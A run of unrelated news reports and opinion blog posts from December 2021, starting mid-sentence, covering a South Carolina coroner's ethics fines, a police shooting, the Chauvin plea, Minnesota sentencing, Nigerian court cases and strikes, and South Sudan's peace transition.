newspaper and 17 community news outlets have partnered on Uncovered to expose government misconduct and the Palmetto States broken system of ethical oversight. In all, some 50 sitting public officials are listed on the Ethics Commission's "debtors list" a 28-page chart of politicians, lobbyists and businesses who have ignored their ethics fines. Marshall will join the list if she doesn't pay her new fine by May 2022. The Ethics Commission fined her $22,600 this summer for failing to file a 2016 campaign report; failing to disclose a 2016 campaign contribution; and neglecting to file her financial disclosures in 2017, 2018 and 2019. Marshall appealed that fine at a hearing last month. Sims offered no defense for his client. He acknowledged Marshall had failed to file her required campaign reports and ethics forms for years but asked nonetheless for a lower fine and an opportunity to pay the money in monthly installments. Marshall told ethics commissioners she wasn't sure she could afford her fines. The Ethics Commission's top lawyer, Courtney Laster, pushed back. She noted Marshall makes more than $51,000 a year as coroner and also runs a funeral home business in Holly Hill. Still, the commission ultimately knocked more than $5,000 off Marshall's penalty. She must pay the $17,000 in five monthly installments of $3,400 starting in January. If she misses any of the payments, her fine reverts back to the original amount: $22,600. "She's going to make every effort to make those payments and make them on time," Sims said. Still, it isn't Marshall's first ethics fine, and she has a mixed history of paying previous penalties. The Ethics Commission has already collected more than $28,000 in fines and fees from Marshall, most related to her failure to file campaign and ethics paperwork on time. But the agency had to garnish more than $10,000 of that amount from Marshall's wages after she didn't pay up. Still, Orangeburg County voters have repeatedly reelected her, most recently in 2020. At her appeal hearing last month, Marshall said she doesn't plan to seek reelection when her term expires in 2024. Her first fine payment is due Jan. 15. State Rep. Bill Taylor, R-Aiken, right, looks on as S.C. Attorney General Alan Wilson speaks to reporters at the Statehouse about the landmark plutonium settlement. The North Augusta Department of Public Safety released new details about the Dec. 9 officer-involved shooting . The 1.6 mile police chase and shootout, left 15-year North Augusta Public Safety veteran, Lt. Aaron Fittery, with a gunshot wound to the leg. Thomas Michael Airington, of Clarks Hill, has been arrested and charged in connection to the incident. Police reveal timeline of events The North Augusta Department of Public Safety released the official report outlining the incident Wednesday. According to police, officers were dispatched to a possible burglary in progress at a North Augusta home. The person who called dispatch said a black truck and a silver Pontiac were in the backyard of a house on Arch Drive, and masked men were loading items from the home into the car. They told dispatch both cars left the house and drove toward Trimmer Place. Police initiated a traffic stop on a black pickup truck matching the caller's description and the driver "left at a high rate of speed" onto Georgia Avenue, headed southbound, according to the report. Fittery took the primary position in the pursuit. At the intersection of Georgia Avenue and Martintown Road, the suspect's truck "caused an accident with at least three other vehicles involved, with one pickup truck overturned," according to the report. One officer stayed at the intersection to provide aid to civilians with neck and back injuries, according to police. Fittery continued the pursuit on Georgia Avenue, taking a right turn onto Jackson Avenue followed by a left turn onto West Avenue. The suspect "let 3 occupants of the vehicle jump out" on West Avenue before turning left onto Spring Grove Avenue, according to the report. The suspect turned south on the 400 block of Georgia Avenue, stopped, exited his car and fired on officers, according to the report. "An exchange of gunfire with law enforcement ensued," according to police. During the shootout, Fittery was struck in the lower leg and was transported to the hospital by a civilian. During the shooting, three public safety vehicles were struck by gunfire. The original complaint of a burglary in progress "appears to be unfounded," according to the report. The South Carolina Law Enforcement Division (SLED) is conducting the investigation into the officer-involved shooting. Charges SLED charged Airington with four counts of attempted murder, possession of a weapon during a violent crime and possession of a firearm by a felon. The North Augusta Department of Public Safety charged Airington with three counts of hit and run and failure to stop for blue lights. It is unknown if additional charges will be filed against Airington, or the other three people involved in the police chase. Breaking news. This story will be updated as new information becomes available. Writings on the Wall Unsatisfied with the Articles of Confederation, James Madison pushed for a constitutional convention. He wrote most of the constitution but so Read more Im inside the Jury Assembly Room of the Warren E. Burger Federal Building in St. Paul, where I viewed the Derek Chauvin plea hearing by video livestream this morning. I couldnt keep up with the proceeding working on my phone. The hearing concluded just after 9:30 a.m. (Central). I am writing on my laptop following Judge Magnusons adjournment of the hearing. I just have few points to offer at this time. The hearing took place in the form of the ritualized recitation of a waiver of rights and a plea agreement to resolve the pending civil rights charges against Derek Chauvin in the case of George Floyd and in an unrelated juvenile case deriving from September 2017. Chauvin pleaded guilty to one count in the Floyd case and to the information filed this morning in the juvenile case, which were combined for this purpose. Resolution of the charge in the 2017 case must have been a key component of the plea agreement. The plea agreement involves a sentence of 20-25 years. Judge Magnuson has ordered a pre-sentence investigation to be completed before sentencing. Judge Magnuson has not yet accepted the plea. His acceptance is to be taken up at the sentencing hearing. The sentence that is ultimately served in these cases is to run concurrently with the sentence Chauvin is serving in the state court murder conviction. Any sentence served in these cases will be served in federal prison. I do not understand at what time that provision would come into play. Speaking with the court press officer, I am given to understand that the sentencing hearing may take up that question. The federal case against the three other officers is now severed from Chauvins. The case against them is scheduled to proceed to trial next month. KARE 11s Lou Raguse was the broadcast reporter in court for the hearing. Check out Lous Twitter feed here. MPRs Brian Bakst was also in the courtroom. Check out his Twitter feed here. My friend Bill Mohrman represents Chauvin on appeal in the state court case. That appeal continues. For reasons stated here many times, I doubt that Chauvin received a fair trial in Hennepin County. It is important that the appeal proceed. I will post a link to the Chauvin legal defense to support that appeal when I can track it down. [UPDATE: I think it is here. Carolyn Pawlenty is Chauvins mother.] The ritual involved in the plea hearing took place in summary form so quickly I am not entirely sure I have these basic details down correctly. I will highlight any necessary corrections in an update to this post. UPDATE: Lou Raguse has emailed notes including this summary of the plea terms conveyed in the hearing by Assistant United States Attorney Allen Slaughter for the government: Plead guilty to Ct 1 of indictment and Ct 2 of information (depravation of rights) Expect to serve time in federal custody. Dismiss Ct 3 as well as Ct 1 and 2 from separate indictment The guideline range for sentence if this went to trial was life in prison. In this agreement, Chauvin will serve no less than 240m (20 years) and no more than 300m (25 years) Prosecution will advocate for 300 m Sentence will run concurrent to state sentence. Judge notes that in federal court he would serve 90% of his time behind bars (18-22.5 years depending on what he gets) whereas in state court they serve 2/3 of the sentence behind bars. Chauvin will never serve as officer again. HERE IS THE PLEA AGREEMENT: Chauvin Plea Agreement by Scott Johnson on Scribd So Elon Musk is Times Person of the Year. Ive actually been warming up to Musk for a long time now. If you take away the lavish subsidies he got for his cars, what would be your complaint with him? That electric cars wont save the world? True, but slow down for a moment and note that unlike nearly everyone else in Silicon Valley, hes actually trying to build a tangible thinga car! at factories located in America. Most people in Silicon Valley only make apps, and produce only lines of code. Even Apple makes most of its gadgets in China, not here. Thats why they go to such pains to say Designed by Apple in California. The asteriskBut made in China! is implied. And the left is losing its you-know-what about Musk. Like Lizzie Warren: Someone on Instapundit suggested we should refer to Warren henceforth as Senator Karen. Right after we finish our Lets go Brandon! chants. Musk was just getting started. Question for Senator Karen: Just who is responsible for rigging the tax code? Oh yeahthat would be Congress. I know Warren was not in the Senate when the tax credits for electric cars were initially passed, but is there any doubt how shed have voted? Is she supporting the expanded tax credits for electric cars in the so-called Build Back Better bill? Well, you know what they say about consistency. P.S. Musk has lately been selling billions of his Tesla stock. Unless he has some large losses somewhere, hes going to pay hundreds of millions of dollars in capital gains tax this year. I wouldnt be surprised if his tax bill this year is the largest in U.S. history for a single individual. That wont stop Senator Karen from saying he isnt paying his fair share. (Fair share for a Democrat always means, more than whatever youre paying now.) UPDATE: Turns out Musk thought of this, too: P.S. (2) Musk tweets even better than Trump. Across the country, Americans are up in arms about spiraling crime rates. Minnesota is one state that has been hit with an explosion of criminal activity in the wake of the George Floyd riots and the attacks on law enforcement that followed. You might think that even liberal politicians would understand that voters want them to get tough on crime, but in my state at least, you would be wrong. Out of the public eyewhere leftists usually like to operateMinnesotas Sentencing Guidelines Commission is considering a proposed revision to the states guidelines that would change the way in which convicted criminals are sentenced. Eight of the eleven commissioners have been appointed by Minnesotas far-left governor, Tim Walz. So, is sentencing going to be toughened? Of course not! The proposal is to make Minnesotas sentencing guidelines, already absurdly permissive, even more liberal. My colleague Bill Walsh explains: The presumptive sentences are displayed in a grid that is used by judges to determine the appropriate sentence once someone is convicted of a felony. The y-axis on the grid refers to the severity level of the crime, from low-level assault (1) all the way to murder (11). The x-axis refers to the criminal history score of the perpetrator. You can follow the link to see the grid. On Dec. 16, 2021, the Sentencing Guidelines Commission will vote on a proposal to eliminate custody status points from consideration for felony sentences. The commission believes criminals should not be given stronger sentences if they commit more crimes while on probation or parole, or even if theyve escaped custody. That will mean lower sentences for criminals who commit murder, rape, assault, robbery and felony DWI! This proposed change would lower presumptive sentences for convicted felons in all categories, with sex criminals getting a special break: Worse yet, sex offenders currently receive double points for their custody status, so eliminating this part of the grid will disproportionally benefit the worst criminals in our system. You are probably wondering: who could be so out of touch as to propose such measures in the midst of a crime epidemic? The answer is, Governor Tim Walz and the commissioners he has appointed. They are pushing this initiative, and have the votes to enact it over the objections of judges and other more sensible members of the Commission. Walz appointee Tonya Honsey describes herself as a revolutionary mother, a truth-teller, a survivor of incarceration and a community healer. Her position on the Commission is that the interests of convicted felons should be given priority over the interests of victims and the general public, lest felons by re-traumatizedher termby incarceration. Public safety needs to include everyone, the Walz appointee says, and that means convicted criminals. Honsey is an extreme left-winger, and also a fraudMinnesotas Elizabeth Warren. She made her career by passing herself off as Native American, which she is not: After Honsey introduced herself as an Indigenous Woman from Turtle Island at the 2018 National Council for Incarcerated Women and Girls in Tulsa, Oklahoma, organizers began to question the authenticity of her claims. Eventually Honsey admitted she lied about her ancestry, having grown up in a typical Minnesota middle class white family. This admission started a chain reaction of public repudiations from several groups, starting with her employer, the Minnesota Freedom Fund, which promptly fired her as Executive Director. A nonprofit Honsey actually founded, We Rise! disbanded. The American Indian Prison Project also put out a statement repudiating Honsey. If the Minnesota Freedom Fund doesnt ring a bell, this is the group that was promoted by Kamala Harris; it bailed out Minnesota felons and returned them to the streets. They gave Honsey the boot, but Tim Walz appointed her to the Sentencing Guidelines Commission. It is an understatement to say that this is a clown show. It is also typical of left-wing governance. Minnesotas governor appoints fellow leftists to important positions and then tries to disclaim responsibility for their actions. Hardly anyone would have known what was going on in the Commission had my organization not publicized the proposed weakening of sentencing guidelines. The St. Paul Pioneer Press was moved to do a story on the Commissions pro-criminal orientation. The Pioneer Press asked Governor Walz to comment on the Commissions actions. This is the response they got; note that the link goes to a web archive: A spokesperson for Gov. Tim Walz said he had no comment on the matter as the governor appoints hundreds of officials to state boards and he is removed from the decision. Way to take responsibility for your administration, Tim! Walzs office realized that his disclaimer didnt look good, so they called the Pioneer Press and demanded that it be removed from the article. The newspaper complied. This is the depth of corruption to which Blue America has sunk. But the battle is not yet lost. The Sentencing Guidelines Commission will meet on Thursday for a final vote on the proposed weakening of the guidelines. Via this site, my organization has enabled thousands of Minnesotans to express their opposition to the Walz proposal. We need just one Walz-appointed commissioner to change his or her vote for the proposition to fail. But as always, the ultimate accountability is at the ballot box. Tim Walz is up for re-election in 2022. If you live in Minnesota and are in favor of more crime, especially more rapes and other sex crimes, Walz is your man. A judge of the special offences court, Ikeja Lagos, Oluwatoyin Taiwo, on Wednesday, presided over the trial-within-trial of the embattled Yoruba actor Olanrewaju Imiyinka, also known as Baba Ijesha and gave her verdict. The trial-within-trial which commenced on November 19, was to validate the voluntariness of the proposed confessional statement made by Baba Ijesha at the Sabo police division, Yaba, Lagos, after he was arrested on April 22. The trial-within-trial became necessary after a police investigator, Abigail Omame, testified that the Baba Ijesha told her everything she had penned down on the confessional statement. The judge said the confessional statements of the defendant was substantively valid and is admitted by the court. The judge said the statements were not obtained under duress neither was the defendant, Baba Ijesha, tortured by the police. She also rejected the actors claims wherein he said that he was tortured while making a confessional statement to the police. A trial-within-trial is a court trial in an ongoing court trial. It is typically done to establish the allegation of involuntariness of a confession while the main trial is suspended. Baba Ijesha was arrested on April 22 and granted bail on May 17. He was charged with six counts of sexual assault by penetration, indecent treatment of a child, and sexual assault, which contravene sections 259, 135, and 261 of the Criminal Law of Lagos State 2011, as well as 135, 263, and 262 Criminal Law of Lagos State 2015. Court proceeding According to Justice Taiwo, the prosecution opened their case on July 26, while the defendant accused the prosecution of manufacturing a fabricated confessional statement. She said, There is no evidence to support the defendant claims that he was tortured. The judge made reference to Cambridge definition of torture as the act of causing great physical or mental pain in order to persuade someone to do something or to give information, or to be cruel to a person or animal. The judge also said the defendant never complained to his counsel that he was tortured prior to the trial within trial. The defendant had stated that he signed the statement under duress, and that the police officer wrote his confessional statement based on the information provided by the complainant (Comedianne, Princess). Trial-within-trial The judge also said some important information in the confessional statements such as information about his family, hometown and kindred, could only be provided by the defendant, The trial-within-trial decided that Baba Ijesha was not forced to sign the confessional statement. The court also noted that despite the fact that he sat on the floor while giving his confessional statements, it does not mean that he signed the statement under duress or was tortured. Baba Ijeshas trial continues while the prosecution counsel close their case having presented six witnesses to the court. The case was adjourned to January 26, 2022. The Academic Staff Union of Universities (ASUU) has said the recent release of N55.5 billion to the universities by the Nigerian government towards fulfilling parts of the contents of the Memorandum of Action signed with the union may not be enough to stop an impending industrial action by the body. The union, in a statement issued at the end of its South-west zonal meeting which was held on Tuesday at the Federal University of Agriculture, Abeokuta, Ogun State, described the payment as paltry of the billions of naira of owed revitalisation funds and earned academic allowance (EAA). The statement, which was signed by the coordinator of the zone, Adelaja Odukoya, said part of the conditions to avert the strike is for the government to immediately end the Integrated Personnel and Payroll Information System (IPPIS) for universities and sign the renegotiated agreement document completed in May 2021. The union accused the federal government of a deliberate attempt to further entrench the impoverishment of Nigerian academics and public universities in the country, adding that Unfortunately, our country has in place a representative of the ruling class that continues to demonstrate, without any atom of remorse, the penchant not to honour agreements reached with our Union, and indeed their overall pledge to the Nigerian people. The new threat is coming exactly nine days shy of one year when the union suspended its nine-month prolonged strike, which paralysed academic activities across the universities in the country. ASUU had suspended the industrial action in December, 2020, following the signing of a Memorandum of Action (MoA) between it and the government. The MOA, it said, was to compel the Federal government to honour our earlier signed MoUs and MoAs with the government occasioned by its shameless failure to fully implement the 2009 ASUU-FGN Agreement and the stalled renegotiation of the same agreement that had fallen due since 2012. However, the university lecturers said the government had woefully failed to honour the promises including the schedule of implementation it agreed upon at two meetings between August and October, 2021. Consequent upon this sad development, our union gave the Federal Government three weeks grace within which to comprehensively implement all the issues in our MoA failing which we shall have no other alternative than to commence the process of activating most reluctantly the strike option that has proven to be the only language this government understands, the union said. FG moves to avert strike At the weekend, the Nigerian government said it has paid the universities N30 billion Revitalisation Fund and N22.5 billion Earned Academic Allowance, claiming to have made progress in the implementation of the Memorandum of Understanding reached with the university workers. By yesterday, (Friday) the Accountant Generals Office and the Funds Office of the Federal Ministry of Finance told me that they paid the Earned Allowances to the 38 federal universities and by today (Saturday) all the affected universities would have gotten their monies for workers Minister of Labour and Employment, Chris Ngige told THISDAY at the weekend. But ASUU described the payment of the Earned Academic Allowances as partial. It said the government has closed its eyes to the parts of the agreement regarding staff salaries and allowances that were supposed to be implemented as far back as 2010. It said: The government has only partially implemented the Earned Academic Allowances (EAA) component of the conditions of service which does not involve all our members and which impact on the welfare of those affected members is negligible given the destructive workload they undertake to qualify for the EAA. The Contentious 2009 Agreement All of ASUUs disagreement with the government in the past decade had been on the governments failure to fully implement the 2009 ASUU-FGN Agreement. ASUU described the 2009 Agreement as a product of a painstaking Collective Bargaining Agreement with the very best brains representing the government on the negotiation table. The renegotiation team for the 2009 Agreement was led by the late Gamaliel Onosode on the governments side and the then ASUU President, Abdullahi Sule-Kano for ASUU. The team had deliberated on the conditions of service for university staff, funding for the university, university autonomy and academic freedom, and other matters. Included in the 2009 agreement was the introduction of Consolidated University Academic Salary Structure II (CONUASS II), a separate Salary Structure for University Academic staff to replace CONUASS of 2007, revitalisation fund and autonomy for the universities. Alleged violations With the introduction of the Integrated Personnel and Payroll Information System (IPPIS) to universities, ASUU has always accused the government of violating the autonomy of universities guaranteed by the University Autonomy Act 2003, a move that played a key role in the March, 2020 strike action. It said several public universities are unable to recruit the needed academics to fill vacant positions, and that visiting fellowships for scholars have dried up and that universities are no longer able to respond and engage specialists as their need demands. In 2013, a Need Assessment of Nigerian public universities carried out by the Federal government revealed that an estimated N1.3 trillion was required to revitalise and make the Nigerian public universities globally competitive but as we speak, the government, despite continuous agitations and strike action by our union has only managed to provide a meagre 19 per cent of the N1.3 trillion at 2013 valuation. About UTAS ASUU alleged that the government refused to accept the University Transparency and Accountability Solution (UTAS) it developed because of the corruption allegedly entrenched in the IPPIS. The corruption associated with the IPPIS has been proven to be worse than which it sought to combat. Every effort is being made to ensure that our members remain prisoners of IPPIS. Despite overcoming the several boob traps, roadblocks and landmines deliberately set to undermine and ensure the failure of the University Transparency and Accountability Solution (UTAS) which our union developed as a robust alternative to IPPIS at no cost to the government, and which even government and its agents have admitted is every inch far better and advanced than IPPIS, it has refused to launch UTAS. Thus our members are continued to be subjected to unnecessary and avoidable pains of the IPPIS. Advertisements But Mr Ngige was quoted to have said that the National Information Technology Development Agency (NITDA) has submitted its report on UTAS to the government, noting that the report has been forwarded to the ministry of finance, accountant generals and IPPIS offices so that they will look at it and sort out other details. The minister was quoted to have said that Copies of the report have also been forwarded to the Federal Ministry of Education and National Universities Commission (NUC). Out of the 500 test points that were used in rating it, we are talking of about a 50 per cent success rate. So, its work-in-progress. The Ministry of Finance and Accountant Generals Office are to study the report and areas that they are not satisfied with, they will let us know and well get back to NITDA because we have a combined team with the NUC and IPPIS Office. Education neglect ASUU traced what it described as the progressive devaluation, underdevelopment and impoverishment of the Nigerian academics to post-independence, which it said was started by the military government. With the 1975 Jerome Udoji Committee recommendation and the subsequent implementation of the unified public service it recommended, the dangerous recline of the Nigerian academics gathered speed. Placed on an annual salary of 11,568, state permanent secretaries levelled up with university professors, and the federal permanent secretaries who hitherto earned below a professor started earning better salary than university professors. Under this inelegant and jaundice order, all cadres of military officers not only started earning more than comparable cadres in the academics, Vice- Chancellors salaries started trailing sluggishly far behind those of Lieutenant General and full General. Strike continues Now, the union has said unless its conditions are met completely, it could not rule out another strike. The irreducible condition to avoid another strike of which there has been no parallel in the history of Nigeria is for the Federal Government to immediately sign the renegotiated Agreement document completed since May 2021 and also end the evil regime of IPPIS and replace same with UTAS which was developed by the Union at no cost to the government and demonstrably confirmed to be far superior to the IPPIS in all its ramifications, the union threatened. In February 2022, South Sudans transitional unity government will be two years old, with just one year remaining to achieve the goals set out in the 2018 revitalised peace agreement. Although a fragile ceasefire is largely holding and some progress has been made towards implementing the agreement, most of its tasks remain undone. The transition has been crippled by political disputes, corruption, inter-communal conflicts, a deteriorating humanitarian situation and a shrinking economic base, Emmaculate Liaga wrote in a recent Institute for Security Studies (ISS) report. Ms Liaga is an associate post-doctoral researcher at the Centre on Conflict, Development and Peacebuilding, Graduate Institute, Geneva. The problems she mentions largely emanating from the bitter personal enmity between President Salva Kiir and now first Vice-President Riek Machar have caused the huge delays in the agreements full implementation. And implementation remains far from certain, on any timetable. Ms Liagas report notes that when the transitional unity government was formed in February 2020, with Messrs Kiir and Machar (finally) in their posts, only seven of the 63 pre-transitional tasks set out in the peace agreement had been completed. The rest were carried forward into the transition. In an ISS seminar, The clock is ticking on South Sudans transition, earlier this month, Ms Liaga noted that the 2018 agreement was meant to be a roadmap to a peaceful, democratic and prosperous South Sudan. It was meant to recover the commitment of the 2015 peace agreement. This fell apart when fighting broke out between Mr Kiirs and Mr Machars forces in July 2016 when the latter returned to Juba to resume his vice-presidential position. Assessing the requirements of the 2018 deal, Mr Liaga noted that radical reforms towards financial transparency, security and governance were meant to be happening in the transitional government. Devolution of power and resources from the central state to local government was also supposed to be underway. The government should have been expediting the return and reintegration of forcibly displaced members of South Sudanese society. The government should also be facilitating a people-driven process of national reconciliation and healing, conducting a population and housing census and establishing a competent and independent national electoral commission. This commission should be conducting a free and fair credible election before the end of the transitional period which technically should be within the next 12 months. Ticking the scorecard, Ms Liaga said the peace agreement had reduced the incidence and intensity of the civil war though to some degree insecurity had just been devolved from the centre to the peripheries. The relative peace should nonetheless help the parties in the government to work together to accelerate the implementation of the peace agreements many outstanding tasks. She noted that most of the government structures, at least at national and state level, had been established though establishing local government was proving to be challenging, and this was stirring grievance over lack of service delivery. This could be another spark of renewed violence. Most of the more problematic laws that had been amended to comply with the 2018 agreement had been passed by the council of ministers and were ready to be passed by the transitional national legislative assembly. Samuel Tessema, senior legal adviser for the Intergovernmental Authority on Developments (IGAD) South Sudan office, perhaps more optimistically than Ms Liaga, commended the parties for their determination to maintain peace. He commended Mr Machar for his courage in returning once again to participate in government despite the threats to his life in 2013, when the civil war erupted, and again in 2016 when fighting re-erupted at the presidential palace in Juba. Mr Tessema was also encouraged by the formation of the transitional national assembly, as well as the confinement of forces on both sides, for over two years already, to training and cantonment camps despite terrible living conditions in those camps. Garang Yach of the Juba and Johannesburg universities was not as sanguine about the cantonment, though, noting that only 3,000 out of 300,000 troops remained in the camps. Mr Tessema, however, noted that the further delays in the already long-delayed integration of all the different military forces into a single national army could shatter the fragile peace. The main obstacle was that Mr Kiir wanted the force to be divided 60:40 between government and opposition troops while Mr Machar and the other parties demanded a 50:50 split. MS Liaga said another threat to security were the three main holdout groups the Real-Sudan Peoples Liberation Movement, the South Sudan United Front and the National Salvation Front, which had refused to sign the 2018 agreement. She welcomed Mr Kiirs call for negotiations in the SantEgidio process to bring them on board. Mr Tessema added to the negative column in the balance sheet weak or non-existent state institutions, a bloated transition government consuming scarce resources, rampant corruption and a power struggle among parties in the transitional government. He also added a polarised elite and society because the conflict had ethnic undertones, many internally displaced people and refugees, a lack of infrastructure and a democratic culture, and large ungoverned spaces in the country. And to top it all, a region in turmoil. Clearly the negatives far outweigh the positives in the South Sudan peace and democracy ledger. Can anything be done to balance the books? Both Ms Liaga and Mr Tessema recommend that the targets for implementation of the 2018 peace agreement tasks be accelerated to keep the election timetable on track. Civil society should step up its efforts towards mediation of local conflicts, they say. And IGAD should intensify its pressure on Messrs Kiir and Machar in particular to accelerate the implementation of the peace agreement. The timing, though, is unfortunate. Mr Tessema commended IGAD leaders for having resolved past deadlocks between Messrs Kiir and Machar, over the numbers and boundaries of federal states and on extending the pre-transitional period for the second time. But he said the rest of IGAD was itself now in some turmoil including the civil war in Ethiopia, a coup in Sudan and border tensions between Kenya and Somalia. This could prevent the regional body from coming to the rescue again. This may be a moment then for other outside players, such as the African Union, the Troika and the United Nations, to step up to the plate for fear that the ticking clock could become a time bomb. Advertisements Peter Fabricius is a Consultant at the Institute for Security Studies (ISS). (This article was first published by ISS Today, a Premium Times syndication partner. We have their permission to republish). Bandits have killed a member of the Kaduna State House of Assembly, Rilwanu Gadagau. Mr Gadagau was among many people the bandits kidnapped along the Kaduna Zaria road Monday night. He was the vice Chairman in Giwa local government before his election into the House of Assembly in 2019. A family source quoted by Daily Nigerian said the lawmaker was abducted at a spot known as Dindin Rauga and killed by the bandits on their way to their hideout in the forest. Another source said Mr Gadagaus vehicle was attacked while he was on a call with one of his colleagues, Shehu Yunusa. He was on phone with his colleague, Shehu Yunusa, on that fateful night, telling the colleague that he had been informed about a kidnapping incident taking place ahead of them. He was contemplating on either returning to Kaduna or proceeding to Zaria when he abruptly took excuse and hung the phone, the source narrated. Death devastating Speaker Until his death, Mr Aminu represented Giwa west constituency in the Assembly and was the chairman of house committee on local government and chieftaincy affairs. The Speaker of the House of Assembly, Yusuf Zailani, has confirmed the incident to reporters in a statement, describing the death as devastating. Mr Aminu was the second Nigerian lawmaker to be killed by suspected bandits in the troubled North-west region in the last six months. A member of the Zamfara State House of Assembly, Mohammed Ahmed, was assassinated in June, hours after he defected with Governor Bello Matawalle to the All Progressives Congress (APC). The Zamfara lawmaker was killed along the Sheme-Funtua Road in Katsina State, neighboring Kaduna. Meanwhile, many travellers were reportedly abducted by the suspected bandits in the incident that led to the death of the Kaduna lawmaker. The speakers media aide, Ibrahim Danfulani, said the remains of Mr Gadagau were discovered in a morgue on Wednesday. This is tragic and painful. We are in deep grief over this sad incident, the speaker said. He prayed for Almighty Allah to grant the state, Assembly and his family the fortitude to bear the irreparable loss The Speaker also prayed for Almighty Allah to grant him and others who were killed Aljannah Firdaus. Our prayers at this time, goes to his immediate family. Honourable Gadagau was a young and dynamic lawmaker, who had a passion for his constituency, state and Nigeria. We will miss his vibrant contributions, he said. The police in Kaduna state have not released a statement on the issue. The Federal Government, on Wednesday, produced 15 suspected invaders of the Supreme Court judge, Mary Odili, for arraignment at the Federal High Court, Abuja. The suspects were led into Court 11 by the operatives of the Nigerian Police Force from the Force Headquarters at about 1:40 p.m. where they will be arraigned before Nkeonye Maha. The News Agency of Nigeria (NAN) reports that police authorities had, on November 11, paraded 15 suspects over the invasion of the Abuja residence of Mrs Odili, who is currently the second most senior judge of the Supreme Court, describing them as impostors unknown to any of the nations security forces. Parading the suspects at the Force Headquarters Annex, Abuja, police spokesperson, Frank Mba, said the 14 suspects include a fake Chief Superintendent of Police (CSP), Lawrence Ajojo. He said the suspects, and seven others at large, conspired to raid the residence following information that the Supreme Court judge was keeping a large sum of money in foreign currencies. According to Mr Mba, the seven suspects still at large include two soldiers. He said the suspects involved in the criminal acts came from different professional backgrounds such as journalism, banking, law enforcement and law. He said the syndicate, including one Stanley Nkwazema, a journalist, were loose canons and document forgers who were on their own and not hired by any personnel of the Ministry of Justice. Background Mrs Odilis residence at 7, Imo Street, Maitama, Abuja, was, on October 29, allegedly invaded by armed security operatives on the grounds of alleged tip-off by a whistleblower, Aliyu Umar, who claimed to have observed suspicious activities at the residence An Abuja Chief Magistrate, Emmanuel Iyanna, was said to have issued a search warrant to a body identified as the Joint Panel Recovery Unit in the Ministry of Justice, leading to the invasion of Odilis home. The magistrate later revoked the order, saying he was misled while the police and other security agencies also said they was not aware of the raid. However, the police commended the resistance put up by the security personnel attached to Mrs Odilis residence for not allowing the suspects access to the building, saying that it could have been the greatest embarrassment to the nation if the operation had succeeded. The siege had drawn condemnation from many Nigerians and several interest groups, including the Nigerian Bar Association (NBA), the Supreme Court, National Assembly, several state governors, civil society organisations, among others. The Attorney-General of the Federation (AGF) Abubakar Malami, SAN, and the Inspector-General of Police, Usman Baba, had separately denied authorising the raid or knowledge of it. The Economic and Financial Crimes Commission (EFCC) and the State Security Services (DSS), both of which were also linked to the invasion, had denied involvement. As of the time of filing the report, the court was yet to begin sitting.(NAN) The Lagos Division of the Federal High Court did not declare as illegal or invalid marriages conducted at the Federal Marriage Registry in Ikoyi, Lagos, PREMIUM TIMES reports. Justice D.E Osiagor in his judgment on December 8, obtained by PREMIUM TIMES, granted an order restraining the Ministry of Interior from further contracting, celebrating, or registering marriages under the Marriage Act, except for marriages conducted in the Marriage Registries of Ikoyi, Lagos, and the Federal Capital Territory, Abuja. The judge also restrained the ministry from further granting or issuing marriage certificates under the Marriage Act, except for marriages conducted in the Marriage Registries of Ikoyi, Lagos, and the Federal Capital Territory, Abuja. The judge, however, declined to grant the reliefs seeking an order to the ministry of interior to return marriage certificates it had earlier issued and to also refund the fees paid by couples. The claim Since Tuesday, some traditional media and blogs have been awash with reports that a federal high court in Lagos had declared as unconstitutional the conduct of marriages by the federal government. The reports specifically stated that the court declared as illegal and invalid all marriages conducted at the Ikoyi Marriage Registry in Lagos. According to ThisDay, the court ordered the closure of all federal marriage registries opened by the ministry, including that of Ikoyi marriage registry with immediate effect. The reports threw the social media into a frenzy, with several commentators turning it into a joke. Silver lining. If you got married at the ikoyi registry and were thinking of a divorce, you might not have to go through the expense anymore. Just break up. Bruce Bateman Esq (@demigodgeous) December 14, 2021 https://twitter.com/DrOlufunmilayo/status/1470792543533207556?s=20 The suit In 2018, four local governments across Nigeria instituted a suit at the federal high court in Lagos against the Minister of Interior, the Attorney-General of the Federation, and Anchor Dataware Solutions Limited. The local governments who are the plaintiffs in the suit include Eti Osa local government council, Lagos State; Egor local government council, Edo State; Owerri Municipal local government council, Imo State; and Port Harcourt City local government council, Rivers State. According to the plaintiffs, following an earlier judgment by Justice Oyindamola Olomojobi in 2004, the court should restrain the interior ministry and its agents from contracting, celebrating, and registering marriages as well as issuing marriage certificates for marriages contracted or celebrated by the plaintiffs registrars. They argued that the interior ministry and its agents under the Marriage Act can only issue or grant licences to authorise intending parties to marry, contract or celebrate marriages. The plaintiffs also urged the court to direct the ministry of interior to return all marriage certificates issued within the respective plaintiffs local government councils subsequently after the judgment in 2004. They also urged the court to direct the ministry to refund all the fees paid by couples since the 2004 judgment to the plaintiffs marriage registries for re-issuance. They further urged the court to order the sealing of all the Federal Marriage Registries established by the interior ministry in local governments across the country or, alternatively, restrict the ministry to only issue licences to places of public worship for the celebration of marriage. The judgment In his judgment, Mr Osiagor noted that an earlier suit by the plaintiffs before Justice Chuka Obiozor, in 2017, was struck out for lack of jurisdiction. In that suit, Mr Obiozor listed lawful bodies or authorities which can celebrate or contract marriages to include registrars in places designated as an office; recognised ministers of religion in a licensed place of worship; marriage contracted under the license granted by the director-general, ministry of internal affairs (now interior), director-general of a state government in charge of marriages, any officer in the aforementioned ministries, and of course, the minister of internal affairs. Mr Osiagor traced the suit before him to the public-private partnership agreement between the interior ministry and Anchor Dataware Solutions Ltd with the primary purpose of establishing marriage registries across the states. By this agreement, the first respondent (ministry of interior) literally outlawed any marriage conducted by the local government (Marriage District) registrars, the judge noted. He further noted that under the obligations between the ministry and the private company, the former directed the Nigeria Immigration Service to make federal marriage certificate an inclusive eligibility requirement for all married applicants for international passports. The ministry directed the marriage registries in the local governments to obtain approval from federal marriage registries so as to continue to conduct marriages in accordance with the marriage act. The first defendant combining with its private partners (third defendant) are metamorphosing from a regulatory agency into a revenue-driven agency in establishing marriage registry to conduct marriages all over the federation within the marriage district (local government areas) reserved for the registrars of marriages in these districts, said the judge Advertisements Taking further steps to Nigerian Immigration Service and Foreign Embassies in Nigeria to recognise Federal Marriage Certificate only is a complete abuse of power that undermines the constitutional recognition of the three tiers of government in Nigeria. It is highly condemnable and I so condemn it. The judge said the attempt by the interior ministry to centralise the conduct, contracting and registering of marriages with it as its exclusive repository undermines the 1999 Constitution, flouts Justice Olomojobis earlier judgment, and is an affront to the three tiers of government that makes up the federation. The stealthy manner in arrogating marriage territories beyond the statutorily delineated Central Licensing place of worship and undermining the local governments (Marriage Districts) is illegal. 